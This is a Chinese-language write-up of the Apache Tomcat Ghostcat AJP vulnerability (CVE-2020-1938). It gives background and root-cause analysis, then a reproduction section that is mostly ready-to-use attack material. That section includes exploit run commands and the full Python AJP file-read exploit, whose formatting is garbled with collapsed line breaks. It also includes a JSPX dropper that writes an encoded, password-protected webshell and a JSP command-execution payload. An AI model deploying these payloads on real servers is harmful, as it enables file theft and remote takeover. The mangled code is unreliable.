一、漏洞描述
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
二、危险等级
高危
三、漏洞危害
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
四、影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
五、前提条件
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。
六、漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shel
七、漏洞分析
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip。
如下图:

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性
如下图:

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

其中具体的映射方式就简略了,具体可以自己查看代码.
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

通过serveResource方法来获取资源文件

通过getRelativePath来获取资源文件路径

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。
当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.
八、漏洞复现
(1).windows下漏洞复现环境准备,这里以tomcat-8.5.32为例。
https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip
(2)、安装jdk并配置JDK环境
(3)、然后启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt


<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<html><head><title>fuck</title></head>
<body bgcolor="#ffffff">
//mima:pass
<jsp:scriptlet><![CDATA[
String realPath = request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath = dir+"/t00ls.jspx";
File strFile = new File(strPath);
boolean fileCreated = strFile.createNewFile();
Writer jspx = new BufferedWriter(new FileWriter(strFile));
String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4=";
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr = java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]></jsp:scriptlet>
</body>
</html>
</jsp:root>
http://192.168.1.9:8080/test.txt
https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):if s is None:return struct.pack(">h", -1)l = len(s)return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):size = struct.calcsize(fmt)buf = stream.read(size)return struct.unpack(fmt, buf)
def unpack_string(stream):size, = unpack(stream, ">h")if size == -1: # null stringreturn Noneres, = unpack(stream, "%ds" % size)stream.read(1) # \0return res
class NotFoundException(Exception):pass
class AjpBodyRequest(object):# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)MAX_REQUEST_LENGTH = 8186def __init__(self, data_stream, data_len, data_direction=None):self.data_stream = data_streamself.data_len = data_lenself.data_direction = data_directiondef serialize(self):data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)if len(data) == 0:return struct.pack(">bbH", 0x12, 0x34, 0x00)else:res = struct.pack(">H", len(data))res += dataif self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbH", 0x12, 0x34, len(res))else:header = struct.pack(">bbH", 0x41, 0x42, len(res))return header + resdef send_and_receive(self, socket, stream):while True:data = self.serialize()socket.send(data)r = AjpResponse.receive(stream)while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:r = AjpResponse.receive(stream)if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:break
class AjpForwardRequest(object):_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)COMMON_HEADERS = ["SC_REQ_ACCEPT","SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION","SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2","SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"]ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]def __init__(self, data_direction=None):self.prefix_code = 0x02self.method = Noneself.protocol = Noneself.req_uri = Noneself.remote_addr = Noneself.remote_host = Noneself.server_name = Noneself.server_port = Noneself.is_ssl = Noneself.num_headers = Noneself.request_headers = Noneself.attributes = Noneself.data_direction = data_directiondef pack_headers(self):self.num_headers = len(self.request_headers)res = ""res = struct.pack(">h", self.num_headers)for h_name in self.request_headers:if h_name.startswith("SC_REQ"):code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1res += struct.pack("BB", 0xA0, code)else:res += pack_string(h_name)res += pack_string(self.request_headers[h_name])return resdef pack_attributes(self):res = b""for attr in self.attributes:a_name = attr['name']code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1res += struct.pack("b", code)if a_name == "req_attribute":aa_name, a_value = attr['value']res += pack_string(aa_name)res += pack_string(a_value)else:res += pack_string(attr['value'])res += struct.pack("B", 0xFF)return resdef serialize(self):res = ""res = struct.pack("bb", self.prefix_code, self.method)res += pack_string(self.protocol)res += pack_string(self.req_uri)res += pack_string(self.remote_addr)res += pack_string(self.remote_host)res += pack_string(self.server_name)res += struct.pack(">h", self.server_port)res += struct.pack("?", self.is_ssl)res += self.pack_headers()res += self.pack_attributes()if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:header = struct.pack(">bbh", 0x12, 0x34, len(res))else:header = struct.pack(">bbh", 0x41, 0x42, len(res))return header + resdef parse(self, raw_packet):stream = StringIO(raw_packet)self.magic1, self.magic2, data_len = unpack(stream, "bbH")self.prefix_code, self.method = unpack(stream, "bb")self.protocol = unpack_string(stream)self.req_uri = unpack_string(stream)self.remote_addr = unpack_string(stream)self.remote_host = unpack_string(stream)self.server_name = unpack_string(stream)self.server_port = unpack(stream, ">h")self.is_ssl = unpack(stream, "?")self.num_headers, = unpack(stream, ">H")self.request_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code > 0xA000:h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]else:h_name = unpack(stream, "%ds" % code)stream.read(1) # \0h_value = unpack_string(stream)self.request_headers[h_name] = h_valuedef send_and_receive(self, socket, stream, save_cookies=False):res = []i = socket.sendall(self.serialize())if self.method == AjpForwardRequest.POST:return resr = AjpResponse.receive(stream)assert r.prefix_code == AjpResponse.SEND_HEADERSres.append(r)if save_cookies and 'Set-Cookie' in r.response_headers:self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']# read body chunks and end response packetswhile True:r = AjpResponse.receive(stream)res.append(r)if r.prefix_code == AjpResponse.END_RESPONSE:breakelif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:continueelse:raise NotImplementedErrorbreakreturn resclass AjpResponse(object):_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)COMMON_SEND_HEADERS = ["Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified","Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"]def parse(self, stream):# read headersself.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")if self.prefix_code == AjpResponse.SEND_HEADERS:self.parse_send_headers(stream)elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:self.parse_send_body_chunk(stream)elif self.prefix_code == AjpResponse.END_RESPONSE:self.parse_end_response(stream)elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:self.parse_get_body_chunk(stream)else:raise NotImplementedErrordef parse_send_headers(self, stream):self.http_status_code, = unpack(stream, ">H")self.http_status_msg = unpack_string(stream)self.num_headers, = unpack(stream, ">H")self.response_headers = {}for i in range(self.num_headers):code, = unpack(stream, ">H")if code <= 0xA000: # custom headerh_name, = unpack(stream, "%ds" % code)stream.read(1) # \0h_value = unpack_string(stream)else:h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]h_value = unpack_string(stream)self.response_headers[h_name] = h_valuedef parse_send_body_chunk(self, stream):self.data_length, = unpack(stream, ">H")self.data = stream.read(self.data_length+1)def parse_end_response(self, stream):self.reuse, = unpack(stream, "b")def parse_get_body_chunk(self, stream):rlen, = unpack(stream, ">H")return rlen@staticmethoddef receive(stream):r = AjpResponse()r.parse(stream)return rimport socketdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = "HTTP/1.1"fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile("rb", bufsize=0)def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')for h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)return snd_hdrs_res, data_res'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jspx',attributes=[{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},])
print('----------------------------')
print("".join([d.data for d in data]))
root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
http://192.168.1.9:8080/exec.txt

root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

九、漏洞修复建议
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。